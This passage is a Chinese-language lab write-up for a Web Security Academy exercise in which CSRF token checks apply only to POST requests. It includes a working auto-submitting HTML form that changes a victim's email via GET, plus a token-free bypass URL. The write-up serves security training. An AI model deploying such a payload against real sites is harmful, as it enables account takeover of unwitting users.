> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/csrf/csrf-token-validation-depends-on-http-method.md).

# 基于 HTTP 方法进行令牌验证的 CSRF

### 令牌验证取决于请求方法的 CSRF

#### 实验上下文

修改电子邮件功能存在 CSRF 攻击漏洞。虽然有防御机制，但它只适用于某些类型的请求。目的：在漏洞利用服务器上托管一个页面，强制受害者更改其电子邮件地址。/ 提供用于测试的凭据： `wiener:peter`.

#### 发现

* 会检查 CSRF 令牌 **POST** 请求。

<figure><img src="/files/14e26dfb530e0ac4452fb4f1dca27e89b8947c5d" alt=""><figcaption></figcaption></figure>

* 相同的操作在……中也被接受 **GET** \*\*n
* 相关点： `/my-account/change-email`.

<figure><img src="/files/ce8039cab143bbd749ed319d605a1ccc902892b4" alt=""><figcaption></figcaption></figure>

托管在服务器上的页面会自动发送一个 **GET** 向电子邮件更改端点发出查询：

```html
<form class="login-form" name="change-email-form" action="https://0a72007c0337ccb880ed1c9b00fa00d1.web-security-academy.net/my-account/change-email" method="GET">
           <input required="" type="email" name="email" value="Hacked@byjordan.com">
</form>

<script>
   document.forms[0].submit();
</script>
```

以下 URL 演示了绕过方法（GET 中不需要令牌）

```html
/my-account/change-email?email=test%40test.com
```

<figure><img src="/files/153fb42ebbf356c68e32ff9ad5f241ada27b2209" alt=""><figcaption></figcaption></figure>


---

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